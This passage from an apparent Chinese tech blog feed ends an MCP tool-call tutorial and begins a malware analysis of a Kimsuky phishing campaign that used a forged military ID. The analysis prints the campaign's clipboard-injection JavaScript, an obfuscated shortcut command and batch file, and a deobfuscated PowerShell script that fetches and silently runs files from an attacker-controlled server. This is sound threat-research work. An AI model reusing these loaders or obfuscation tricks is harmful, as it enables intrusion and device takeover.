class="punctuation">:</span> <span class="punctuation">&#123;</span> <span class="attr">&quot;type&quot;</span><span class="punctuation">:</span> <span class="string">&quot;number&quot;</span> <span class="punctuation">&#125;</span><span class="punctuation">,</span></span><br><span class="line">            <span class="attr">&quot;b&quot;</span><span class="punctuation">:</span> <span class="punctuation">&#123;</span> <span class="attr">&quot;type&quot;</span><span class="punctuation">:</span> <span class="string">&quot;number&quot;</span> <span class="punctuation">&#125;</span></span><br><span class="line">          <span class="punctuation">&#125;</span><span class="punctuation">,</span></span><br><span class="line">          <span class="attr">&quot;required&quot;</span><span class="punctuation">:</span> <span class="punctuation">[</span><span class="string">&quot;a&quot;</span><span class="punctuation">,</span> <span class="string">&quot;b&quot;</span><span class="punctuation">]</span></span><br><span class="line">        <span class="punctuation">&#125;</span></span><br><span class="line">      <span class="punctuation">&#125;</span><span class="punctuation">,</span></span><br><span class="line">      <span class="punctuation">&#123;</span></span><br><span class="line">        <span class="attr">&quot;name&quot;</span><span class="punctuation">:</span> <span class="string">&quot;calculate&quot;</span><span class="punctuation">,</span></span><br><span class="line">        <span class="attr">&quot;inputSchema&quot;</span><span class="punctuation">:</span> <span class="punctuation">&#123;</span></span><br><span class="line">          <span class="attr">&quot;$schema&quot;</span><span class="punctuation">:</span> <span class="string">&quot;http://json-schema.org/draft-07/schema#&quot;</span><span class="punctuation">,</span></span><br><span class="line">          <span class="attr">&quot;type&quot;</span><span class="punctuation">:</span> <span class="string">&quot;object&quot;</span><span class="punctuation">,</span></span><br><span class="line">          <span class="attr">&quot;properties&quot;</span><span class="punctuation">:</span> <span class="punctuation">&#123;</span></span><br><span class="line">            <span class="attr">&quot;operation&quot;</span><span class="punctuation">:</span> <span class="punctuation">&#123;</span></span><br><span class="line">              <span class="attr">&quot;type&quot;</span><span class="punctuation">:</span> <span class="string">&quot;string&quot;</span><span class="punctuation">,</span></span><br><span class="line">              <span class="attr">&quot;enum&quot;</span><span class="punctuation">:</span> <span class="punctuation">[</span><span class="string">&quot;add&quot;</span><span class="punctuation">,</span> <span class="string">&quot;subtract&quot;</span><span class="punctuation">,</span> <span class="string">&quot;multiply&quot;</span><span class="punctuation">,</span> <span class="string">&quot;divide&quot;</span><span class="punctuation">]</span></span><br><span class="line">            <span class="punctuation">&#125;</span><span class="punctuation">,</span></span><br><span class="line">            <span class="attr">&quot;a&quot;</span><span class="punctuation">:</span> <span class="punctuation">&#123;</span> <span class="attr">&quot;type&quot;</span><span class="punctuation">:</span> <span class="string">&quot;number&quot;</span> <span class="punctuation">&#125;</span><span class="punctuation">,</span></span><br><span class="line">            <span class="attr">&quot;b&quot;</span><span class="punctuation">:</span> <span class="punctuation">&#123;</span> <span class="attr">&quot;type&quot;</span><span class="punctuation">:</span> <span class="string">&quot;number&quot;</span> <span class="punctuation">&#125;</span></span><br><span class="line">          <span class="punctuation">&#125;</span><span class="punctuation">,</span></span><br><span class="line">          <span class="attr">&quot;required&quot;</span><span class="punctuation">:</span> <span class="punctuation">[</span><span class="string">&quot;operation&quot;</span><span class="punctuation">,</span> <span class="string">&quot;a&quot;</span><span class="punctuation">,</span> <span class="string">&quot;b&quot;</span><span class="punctuation">]</span></span><br><span class="line">        <span class="punctuation">&#125;</span></span><br><span class="line">      <span class="punctuation">&#125;</span></span><br><span class="line">    <span class="punctuation">]</span></span><br><span class="line">  <span class="punctuation">&#125;</span></span><br><span class="line"><span class="punctuation">&#125;</span></span><br></pre></td></tr></table></figure><p>其中 <code>result.tools</code> 描述了每个工具的名称及其参数结构规范（JSON Schema）。客户端或模型会依据这些信息决定调用哪个工具，并生成合法的调用参数。</p><h2 id="工具调用"><a href="#工具调用" class="headerlink" title="工具调用"></a>工具调用</h2><p>在控制台中选择 <code>add</code> 工具，填写参数并点击运行后，客户端会发送如下请求：</p><figure class="highlight json"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line"><span class="punctuation">&#123;</span></span><br><span class="line">  <span class="attr">&quot;id&quot;</span><span class="punctuation">:</span> <span class="number">2</span><span class="punctuation">,</span></span><br><span class="line">  <span class="attr">&quot;jsonrpc&quot;</span><span class="punctuation">:</span> <span class="string">&quot;2.0&quot;</span><span class="punctuation">,</span></span><br><span class="line">  <span class="attr">&quot;method&quot;</span><span class="punctuation">:</span> <span class="string">&quot;tools/call&quot;</span><span class="punctuation">,</span></span><br><span class="line">  <span class="attr">&quot;params&quot;</span><span class="punctuation">:</span> <span class="punctuation">&#123;</span></span><br><span class="line">    <span class="attr">&quot;_meta&quot;</span><span class="punctuation">:</span> <span class="punctuation">&#123;</span></span><br><span class="line">      <span class="attr">&quot;progressToken&quot;</span><span class="punctuation">:</span> <span class="number">2</span></span><br><span class="line">    <span class="punctuation">&#125;</span><span class="punctuation">,</span></span><br><span class="line">    <span class="attr">&quot;name&quot;</span><span class="punctuation">:</span> <span class="string">&quot;add&quot;</span><span class="punctuation">,</span></span><br><span class="line">    <span class="attr">&quot;arguments&quot;</span><span class="punctuation">:</span> <span class="punctuation">&#123;</span></span><br><span class="line">      <span class="attr">&quot;a&quot;</span><span class="punctuation">:</span> <span class="number">1</span><span class="punctuation">,</span></span><br><span class="line">      <span class="attr">&quot;b&quot;</span><span class="punctuation">:</span> <span class="number">1</span></span><br><span class="line">    <span class="punctuation">&#125;</span></span><br><span class="line">  <span class="punctuation">&#125;</span></span><br><span class="line"><span class="punctuation">&#125;</span></span><br></pre></td></tr></table></figure><p><code>params</code> 字段中包含了工具调用所需的全部信息，包括工具名称和调用参数。服务端在完成计算后，会将结果通过 SSE 推送回客户端：</p><figure class="highlight json"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line"><span class="punctuation">&#123;</span></span><br><span class="line">  <span class="attr">&quot;id&quot;</span><span class="punctuation">:</span> <span class="number">2</span><span class="punctuation">,</span></span><br><span class="line">  <span class="attr">&quot;jsonrpc&quot;</span><span class="punctuation">:</span> <span class="string">&quot;2.0&quot;</span><span class="punctuation">,</span></span><br><span class="line">  <span class="attr">&quot;result&quot;</span><span class="punctuation">:</span> <span class="punctuation">&#123;</span></span><br><span class="line">    <span class="attr">&quot;content&quot;</span><span class="punctuation">:</span> <span class="punctuation">[</span></span><br><span class="line">      <span class="punctuation">&#123;</span></span><br><span class="line">        <span class="attr">&quot;type&quot;</span><span class="punctuation">:</span> <span class="string">&quot;text&quot;</span><span class="punctuation">,</span></span><br><span class="line">        <span class="attr">&quot;text&quot;</span><span class="punctuation">:</span> <span class="string">&quot;2&quot;</span></span><br><span class="line">      <span class="punctuation">&#125;</span></span><br><span class="line">    <span class="punctuation">]</span></span><br><span class="line">  <span class="punctuation">&#125;</span></span><br><span class="line"><span class="punctuation">&#125;</span></span><br></pre></td></tr></table></figure><p>需要注意的是，MCP 并不强制规定工具返回结果的结构。上述 <code>content</code> 形式是一种常见的实现约定，用于表示可直接展示给用户或模型的文本内容。MCP Inspector 会对该结构进行 UI 层解包，仅展示其中的文本部分。</p><h1 id="结语"><a href="#结语" class="headerlink" title="结语"></a>结语</h1><p>MCP 的价值并不在于引入了新的能力，而在于把大模型与外部能力之间的交互方式标准化。通过清晰的分层设计，模型只需要表达“要做什么”，而具体的执行、传输和会话管理都被放在了协议和实现层中完成。</p>]]></content>
    
    
      
      
    <summary type="html">&lt;link rel=&quot;stylesheet&quot; class=&quot;aplayer-secondary-style-marker&quot; href=&quot;/assets/css/APlayer.min.css&quot;&gt;&lt;script src=&quot;/assets/js/APlayer.min.js&quot; cla</summary>
      
    
    
    
    <category term="ai-engineering" scheme="https://www.fireflycamp.net/categories/ai-engineering/"/>
    
    
    <category term="MCP" scheme="https://www.fireflycamp.net/tags/MCP/"/>
    
    <category term="JSON-RPC" scheme="https://www.fireflycamp.net/tags/JSON-RPC/"/>
    
    <category term="SSE" scheme="https://www.fireflycamp.net/tags/SSE/"/>
    
  </entry>
  
  <entry>
    <title>生成式 AI 驱动的身份伪造在钓鱼场景中的应用</title>
    <link href="https://www.fireflycamp.net/2025/11/01/AI-%E9%A9%B1%E5%8A%A8%E5%86%9B%E4%BA%BA%E8%BA%AB%E4%BB%BD%E4%BC%AA%E9%80%A0/"/>
    <id>https://www.fireflycamp.net/2025/11/01/AI-%E9%A9%B1%E5%8A%A8%E5%86%9B%E4%BA%BA%E8%BA%AB%E4%BB%BD%E4%BC%AA%E9%80%A0/</id>
    <published>2025-10-31T16:05:53.000Z</published>
    <updated>2025-11-03T17:35:58.904Z</updated>
    
    <content type="html"><![CDATA[<link rel="stylesheet" class="aplayer-secondary-style-marker" href="/assets/css/APlayer.min.css"><script src="/assets/js/APlayer.min.js" class="aplayer-secondary-script-marker"></script><p>2025 年 7 月 17 日，韩国网络安全公司 Genians Inc. 检测到了一起来自 Kimsuky 组织的网络攻击。Kimsuky 是一个源自朝鲜的高级持续性威胁组织（APT），被普遍认为与朝鲜侦察总局（RGB）有关。在此次攻击其伪装成负责韩国军方官员身份证签发的相关机构。</p><p>本文旨在探讨在该案例中生成式 AI 伪造技术的应用。该技术的起源可追溯于 2017 年一名红迪用户使用了深度学习模型生成了包含名人面孔的色情视频，在这之后冒出了一系列利用 AI 模型生成接近真人的虚假图像、视频或音频的技术。由于普遍使用了深度学习模型，此类技术被统称为<em>深度伪造</em>。</p><h1 id="封面图"><a href="#封面图" class="headerlink" title="封面图"></a>封面图</h1><img src="/images/20251101/cover.webp" alt="图片加载出错啦!" style="width: 100%" /><h1 id="前奏：钓鱼"><a href="#前奏：钓鱼" class="headerlink" title="前奏：钓鱼"></a>前奏：钓鱼</h1><p>2025 年 6 月 2 日，多起钓鱼攻击指向在韩从事研究或抗议朝鲜政权相关活动的个人。这些攻击冒充网站的邮件服务：</p><figure>    <img src="/images/20251101/fishingEmail.png" alt="图片加载出错啦!" style="width: 100%" />    <img src="/images/20251101/fishingEmail2.webp" alt="图片加载出错啦!" style="width: 100%" />    <figcaption>图一：钓鱼邮件（中译）</figcaption></figure><p>邮件中的发件人邮箱域名以及按钮链接均为由攻击者控制的钓鱼网站：</p><table><thead><tr><th>发件人</th><th>链接</th></tr></thead><tbody><tr><td><a class="link"   href="mailto:&#115;&#101;&#x72;&#x76;&#95;&#x77;&#x61;&#114;&#x6e;&#113;&#x30;&#x78;&#x40;&#108;&#105;&#x76;&#101;&#x6d;&#x6c;&#46;&#99;&#x61;&#102;&#x65;&#50;&#52;&#46;&#x63;&#111;&#109;" >&#115;&#101;&#x72;&#x76;&#95;&#x77;&#x61;&#114;&#x6e;&#113;&#x30;&#x78;&#x40;&#108;&#105;&#x76;&#101;&#x6d;&#x6c;&#46;&#99;&#x61;&#102;&#x65;&#50;&#52;&#46;&#x63;&#111;&#109;<i class="fas fa-external-link-alt"></i></a></td><td>liveml.cafe24.com&#x2F;css&#x2F;img&#x2F;out.php</td></tr><tr><td><a class="link"   href="mailto:&#x6e;&#x6f;&#x72;&#101;&#112;&#x6c;&#x79;&#95;&#115;&#121;&#115;&#x74;&#x65;&#x6d;&#48;&#x30;&#x31;&#x40;&#x6c;&#x69;&#118;&#x65;&#109;&#108;&#46;&#99;&#97;&#x66;&#x65;&#x32;&#x34;&#x2e;&#x63;&#111;&#109;" >&#x6e;&#x6f;&#x72;&#101;&#112;&#x6c;&#x79;&#95;&#115;&#121;&#115;&#x74;&#x65;&#x6d;&#48;&#x30;&#x31;&#x40;&#x6c;&#x69;&#118;&#x65;&#109;&#108;&#46;&#99;&#97;&#x66;&#x65;&#x32;&#x34;&#x2e;&#x63;&#111;&#109;<i class="fas fa-external-link-alt"></i></a></td><td>liveml.cafe24.com&#x2F;css&#x2F;img&#x2F;out.php</td></tr><tr><td><a class="link"   href="mailto:&#110;&#111;&#x72;&#101;&#x70;&#108;&#x79;&#x5f;&#115;&#121;&#115;&#116;&#101;&#x6d;&#x30;&#x30;&#49;&#x40;&#x73;&#110;&#x75;&#x6f;&#112;&#101;&#108;&#46;&#99;&#97;&#102;&#101;&#x32;&#52;&#46;&#x63;&#111;&#109;" >&#110;&#111;&#x72;&#101;&#x70;&#108;&#x79;&#x5f;&#115;&#121;&#115;&#116;&#101;&#x6d;&#x30;&#x30;&#49;&#x40;&#x73;&#110;&#x75;&#x6f;&#112;&#101;&#108;&#46;&#99;&#97;&#102;&#101;&#x32;&#52;&#46;&#x63;&#111;&#109;<i class="fas fa-external-link-alt"></i></a></td><td>snuopel.cafe24.com&#x2F;css&#x2F;img&#x2F;out.php</td></tr><tr><td><a class="link"   href="mailto:&#x6e;&#x6f;&#114;&#101;&#x70;&#108;&#121;&#x5f;&#115;&#x79;&#115;&#116;&#x65;&#109;&#x30;&#x30;&#x32;&#x40;&#115;&#110;&#x75;&#111;&#112;&#101;&#x6c;&#46;&#x63;&#97;&#x66;&#101;&#50;&#52;&#x2e;&#99;&#x6f;&#109;" >&#x6e;&#x6f;&#114;&#101;&#x70;&#108;&#121;&#x5f;&#115;&#x79;&#115;&#116;&#x65;&#109;&#x30;&#x30;&#x32;&#x40;&#115;&#110;&#x75;&#111;&#112;&#101;&#x6c;&#46;&#x63;&#97;&#x66;&#101;&#50;&#52;&#x2e;&#99;&#x6f;&#109;<i class="fas fa-external-link-alt"></i></a></td><td>snuopel.cafe24.com&#x2F;css&#x2F;img&#x2F;out.php</td></tr></tbody></table><p>当点击底部的按钮时，受害者会被跳转到网站的机器人验证页面：</p><figure>    <img src="/images/20251101/fishingSite.webp" alt="图片加载出错啦!" style="width: 100%" />    <figcaption>图二：钓鱼网站（中译）</figcaption></figure><p>网站前端的 JS 脚本包含如下内容：</p><figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">function</span> <span class="title function_">Main_Function</span>(<span class="params"></span>)&#123;</span><br><span class="line">    <span class="keyword">var</span> powershell = <span class="string">&quot;wget -Uri &quot;</span> + szurl + <span class="string">&quot;?o=&quot;</span> + dwOTP + <span class="string">&quot; -OutFile music\\x.bat;music\\x.bat&quot;</span>;</span><br><span class="line">    <span class="keyword">var</span> bytes = <span class="string">&#x27;&#x27;</span>;</span><br><span class="line">    <span class="keyword">for</span> (<span class="keyword">var</span> i = <span class="number">0</span>; i &lt; powershell.<span class="property">length</span>; i++) &#123;</span><br><span class="line">        bytes += powershell[i];</span><br><span class="line">        bytes += <span class="string">&#x27;\0&#x27;</span>;</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">const</span> textToCopy = <span class="string">&quot;powershell -eC &quot;</span> + <span class="title function_">btoa</span>(bytes);</span><br><span class="line">    <span class="variable language_">document</span>.<span class="title function_">getElementById</span>(<span class="string">&quot;not_robot&quot;</span>).<span class="title function_">addEventListener</span>(<span class="string">&quot;change&quot;</span>, <span class="keyword">function</span>(<span class="params">e</span>)&#123;</span><br><span class="line">        <span class="keyword">if</span> (e.<span class="property">target</span>.<span class="property">checked</span>) &#123;</span><br><span class="line">            <span class="keyword">const</span> textArea = <span class="variable language_">document</span>.<span class="title function_">createElement</span>(<span class="string">&quot;textarea&quot;</span>);</span><br><span class="line">            textArea.<span class="property">value</span> = textToCopy;</span><br><span class="line">            <span class="variable language_">document</span>.<span class="property">body</span>.<span class="title function_">appendChild</span>(textArea);</span><br><span class="line">            textArea.<span class="title function_">select</span>();</span><br><span class="line">            <span class="variable language_">document</span>.<span class="title function_">execCommand</span>(<span class="string">&quot;copy&quot;</span>);</span><br><span class="line">            <span class="variable language_">document</span>.<span class="property">body</span>.<span class="title function_">removeChild</span>(textArea);</span><br><span class="line">            dialog.<span class="title function_">showModal</span>();</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>这段脚本偷偷将恶意命令写入系统剪切板，如果受害者按照网页上的确认步骤照做，这段恶意命令会被执行。该命令从攻击者控制的服务器，<code>jiwooeng.co.kr</code>，分阶段地下载一个 CAB 压缩包，解压后出现一个名为 <code>HncUpdateTray.exe</code> 的可执行文件，该文件的命名是为了伪装成 Hancom Office（韩国的办公软件，类似于 Microsoft Office）的更新程序。该文件在执行后会将宿主设备纳入攻击者的控制内。</p><h1 id="中章：鱼叉式钓鱼"><a href="#中章：鱼叉式钓鱼" class="headerlink" title="中章：鱼叉式钓鱼"></a>中章：鱼叉式钓鱼</h1><p>7月，攻击者对钓鱼手法进行了升级，基于目标的身份精心定制了钓鱼流程：</p><figure>    <img src="/images/20251101/fishingEmail3.webp" alt="图片加载出错啦!" style="width: 100%" />    <figcaption>图三：钓鱼邮件升级版（中译）</figcaption></figure><p>发件人使用了与韩国某军事机构官方域名高度相似的域名，以征求草案意见为由令收件人下载附件。附件名称的打码部分为收件人的真实姓名。附件解压后会得到一个 Windows 快捷方式文件 <code>公务员证明草稿(&lt;收件人姓名&gt;).lnk</code>，其目标属性中的部分命令如下所示：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">%windir%\syswow64\cmd.exe /k &quot;Set ab901ab=jBdv8X7pIwSzV5s62otf9Pk1WaeAyc4OuERbi30lxmUnZYrh </span><br><span class="line">&amp;&amp; call %ab901ab:~7,1%%ab901ab:~17,1%%ab901ab:~9,1%%ab901ab:~26,1%%ab901ab:~46,1%%ab901ab:~14,1%%ab901ab:~47,1%%ab901ab:~26,1%%ab901ab:~39,1%%ab901ab:~39,1%&quot;</span><br></pre></td></tr></table></figure><p>这段命令启动 32 位版本的 <code>cmd.exe</code> 设置了长字符串变量 <code>ab901ab</code>，接着调用了 <code>call</code> 命令，其参数为一连串变量子字符串截取表达式：</p><ul><li><code>%ab901ab:~7,1%</code>：指代变量 <code>ab901ab</code> 的第 7 位开始第 1 个字符（从 0 开始数） – <code>p</code></li><li><code>%ab901ab:~17,1%</code>：指代变量 <code>ab901ab</code> 的第 17 位开始第 1 个字符 – <code>o</code></li><li><code>%ab901ab:~9,1%</code>：指代变量 <code>ab901ab</code> 的第 9 位开始第 1 个字符 – <code>w</code></li><li>…<br>以此类推，示例中的表达式的值为 <code>powershell</code>，表达式前的 <code>call</code> 让其组成的字符串能够被当作命令执行。该模式通过定义一个字母表及使用表达式对字母表中的字符进行引用混淆了原本的恶意指令，使其更难被察觉。目击到的完整命令还原后如下所示：</li></ul><figure class="highlight sh"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br></pre></td><td class="code"><pre><span class="line">powershell -executionpolicy bypass -<span class="built_in">command</span> <span class="string">&quot;</span></span><br><span class="line"><span class="string"><span class="variable">$IRxxm3srXAU</span> = &#x27;http://www.jiwoong.co.kr/zb41p17/bbs/icon/private_name/private.php&#x27;;</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string"><span class="variable">$EYo7iwjP20YWe</span> = @(</span></span><br><span class="line"><span class="string">    @&#123;</span></span><br><span class="line"><span class="string">        s = &#x27;YSHQ7MmZhdfJ4S4RcUD22&#x27;;</span></span><br><span class="line"><span class="string">        k = &#x27;LhUdPC3GH76vSupcOmK8gb2wbdNNRUWLhU&#x27;;</span></span><br><span class="line"><span class="string">        d = &#x27;임무명령 초안(&lt;收件人姓名&gt;).png&#x27;;</span></span><br><span class="line"><span class="string">        w = <span class="variable">$true</span>;</span></span><br><span class="line"><span class="string">    &#125;,</span></span><br><span class="line"><span class="string">    @&#123;</span></span><br><span class="line"><span class="string">        s = &#x27;LhUdPC3GH76vSupc&#x27;;</span></span><br><span class="line"><span class="string">        k = &#x27;LhUdPC3GH76vSupcOmK8gb2wbdNNRUW&#x27;;</span></span><br><span class="line"><span class="string">        d = &#x27;LhUdPC36.bat&#x27;;</span></span><br><span class="line"><span class="string">        w = <span class="variable">$false</span>;</span></span><br><span class="line"><span class="string">    &#125;</span></span><br><span class="line"><span class="string">);</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">foreach (<span class="variable">$B8eBvfP98Vur</span> in <span class="variable">$EYo7iwjP20YWe</span>) &#123;</span></span><br><span class="line"><span class="string">    <span class="variable">$zIR_2Wu</span> = &quot;</span><span class="variable">$IRxxm3srXAU</span><span class="string">&quot; + &#x27;?nickname=&#x27; + &quot;</span>$(<span class="variable">$B8eBvfP98Vur</span>.s)<span class="string">&quot; + [char]38 + &#x27;privatekey=&#x27; + &quot;</span>$(<span class="variable">$B8eBvfP98Vur</span>.k)<span class="string">&quot;;</span></span><br><span class="line"><span class="string">    <span class="variable">$kmvOXZRZX3URS</span> = <span class="variable">$env</span>:temp + &quot;</span>$(<span class="variable">$B8eBvfP98Vur</span>.d)<span class="string">&quot;;</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">    curl &quot;</span><span class="variable">$zIR_2Wu</span><span class="string">&quot; -o &quot;</span><span class="variable">$kmvOXZRZX3URS</span><span class="string">&quot;;</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">    if (<span class="variable">$B8eBvfP98Vur</span>.w) &#123;</span></span><br><span class="line"><span class="string">        Start-Process &quot;</span><span class="variable">$kmvOXZRZX3URS</span><span class="string">&quot;;</span></span><br><span class="line"><span class="string">    &#125; else &#123;</span></span><br><span class="line"><span class="string">        Start-Process &quot;</span><span class="variable">$kmvOXZRZX3URS</span><span class="string">&quot; -WindowStyle hidden;</span></span><br><span class="line"><span class="string">    &#125;</span></span><br><span class="line"><span class="string">&#125;</span></span><br></pre></td></tr></table></figure><p>这段 Powershell 脚本从攻击者控制的服务器下载了一张图片 <code>임무명령 초안(&lt;收件人姓名&gt;).png</code> 以及一个批处理文件 <code>LhUdPC36.bat</code> 到临时文件夹 <code>$env:temp</code> 并打开&#x2F;执行。其中，字符串变量 <code>IRxxm3srXAU</code> 存储了基础下载地址，数组变量 <code>EYo7iwjP20YWe</code> 存放了每个文件的相关信息：</p><ul><li><code>s</code>：下载 Url <code>nickname</code> 参数</li><li><code>k</code>：下载 Url <code>privatekey</code> 参数</li><li><code>w</code>：执行时是否不隐藏程序窗口<br>下载的图片为邮件中征求意见的军人ID草稿，如下图所示：</li></ul><figure>    <img src="/images/20251101/fakeImage.png" alt="图片加载出错啦!" style="width: 100%" />    <figcaption>图四：伪造的军人ID</figcaption></figure><p>批处理文件的部分代码如下所示：</p><figure class="highlight sh"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br></pre></td><td class="code"><pre><span class="line">@<span class="built_in">echo</span> off</span><br><span class="line">Set atp7s2j1=kI7Uot3p61COMBSHKZqeriTmFbdENj1Lnxqy@SGWAscuzwPvD4tha</span><br><span class="line"></span><br><span class="line">%atp7s2j1:~41,1%%atp7s2j1:~19,1%%atp7s2j1:~5,1%%atp7s2j1:~51,1%%atp7s2j1:~26,1%</span><br><span class="line"></span><br><span class="line">:Start_juice</span><br><span class="line">%atp7s2j1:~5,1%%atp7s2j1:~21,1%%atp7s2j1:~23,1%%atp7s2j1:~19,1%%atp7s2j1:~4,1%</span><br><span class="line">%atp7s2j1:~42,1%%atp7s2j1:~43,1%%atp7s2j1:~20,1%%atp7s2j1:~9,1% <span class="string">&quot;headerurl&quot;</span></span><br><span class="line">%atp7s2j1:~21,1%%atp7s2j1:~50,1%%atp7s2j1:~32,1%%atp7s2j1:~4,1%%atp7s2j1:~5,1%</span><br><span class="line">%atp7s2j1:~34,1%%atp7s2j1:~4,1%%atp7s2j1:~5,1%%atp7s2j1:~4,1%%atp7s2j1:~1,1%</span><br><span class="line">)</span><br><span class="line">%atp7s2j1:~50,1%%atp7s2j1:~4,1%%atp7s2j1:~20,1% %atp7s2j1:~21,1%</span><br><span class="line">%atp7s2j1:~21,1%%atp7s2j1:~50,1% XFSIZE% %atp7s2j1:~34,1%%atp7s2j1:~5,1%</span><br><span class="line">%atp7s2j1:~26,1%%atp7s2j1:~19,1%%atp7s2j1:~9,1% /*%atp7s2j1:~50,1% /x%atp7s2j1:~&#125;</span><br><span class="line">%atp7s2j1:~34,1%%atp7s2j1:~4,1%%atp7s2j1:~5,1%%atp7s2j1:~4,1%%atp7s2j1:~14,1%</span><br><span class="line"></span><br><span class="line">:Extract_juice</span><br><span class="line">%atp7s2j1:~21,1%%atp7s2j1:~50,1%%atp7s2j1:~19,1%%atp7s2j1:~33,1%%atp7s2j1:~21,1%</span><br><span class="line">%atp7s2j1:~19,1%%atp7s2j1:~33,1%%atp7s2j1:~7,1%%atp7s2j1:~52,1%%atp7s2j1:~32,1%</span><br><span class="line">%atp7s2j1:~41,1%%atp7s2j1:~42,1%%atp7s2j1:~51,1%%atp7s2j1:~5,1%%atp7s2j1:~52,1%</span><br><span class="line">%atp7s2j1:~26,1%%atp7s2j1:~19,1%%atp7s2j1:~9,1% /*%atp7s2j1:~50,1% /x%atp7s2j1:~&#125;</span><br><span class="line">)</span><br></pre></td></tr></table></figure><p>混淆模式与之前相同，设置环境变量 <code>atp7s2j1</code> 作为字母表然后使用表达式引用将字符逐个组合成恶意命令。完整脚本被还原后的执行流如下图所示：</p><figure>    <img src="/images/20251101/executionFlow.webp" alt="图片加载出错啦!" style="width: 100%" />    <figcaption>图五：批处理文件执行流</figcaption></figure><p>该脚本在延迟 7 秒后从 C2 服务器下载了文件 <code>privname173.cab</code> 并解压到 <code>C:\ProgramData</code>，中间如果任何环节出错会跳转到 <code>Start_juice</code> 分支重新下载。随后在 <code>Extract_juice</code> 分支将解压出的 <code>HncAutoUpdateTray.exe</code> 注册为每 7 分钟执行一次的计划任务，任务名称被设置为 <code>HncAutoUpdateTaskMachine</code> 以便伪装成 Hancom Office 的更新程序。该任务会载入并执行 <code>HncAutoUpdateTray.exe</code> 同目录下的 AutoIt 脚本 <code>config.bin</code>，该脚本变量定义部分如下：</p><figure class="highlight autoit"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">Global</span> $ocomerrorhandler = <span class="built_in">ObjEvent</span>(<span class="string">&quot;AutoIt.Error&quot;</span>, <span class="string">&quot;upKoXDcM&quot;</span>)</span><br><span class="line"></span><br><span class="line"><span class="keyword">Local</span> $sbxmfljmg = msdbvxez(<span class="string">&quot;G?NC96[rrlgy&quot;</span>, <span class="string">&quot;6511988208693&quot;</span>)</span><br><span class="line"><span class="keyword">Local</span> $ndexqvwc    = msdbvxez(<span class="string">&quot; gg]gyx=-17;&quot;</span>, <span class="string">&quot;927782534129&quot;</span>)</span><br><span class="line"><span class="keyword">Local</span> $izscpxux    = msdbvxez(<span class="string">&quot;USXEK37ALJJv[um]ou%3+3&quot;</span>, <span class="string">&quot;800811933367&quot;</span>)</span><br><span class="line"><span class="keyword">Local</span> $khabtatx    = msdbvxez(<span class="string">&quot;g-&quot;</span>, <span class="string">&quot;59892981245052&quot;</span>)</span><br><span class="line"><span class="keyword">Local</span> $lfqwxybb    = msdbvxez(<span class="string">&quot;keg\]dyc20&quot;</span>, <span class="string">&quot;94756362449901&quot;</span>)</span><br><span class="line"><span class="keyword">Local</span> $nmpogecn    = 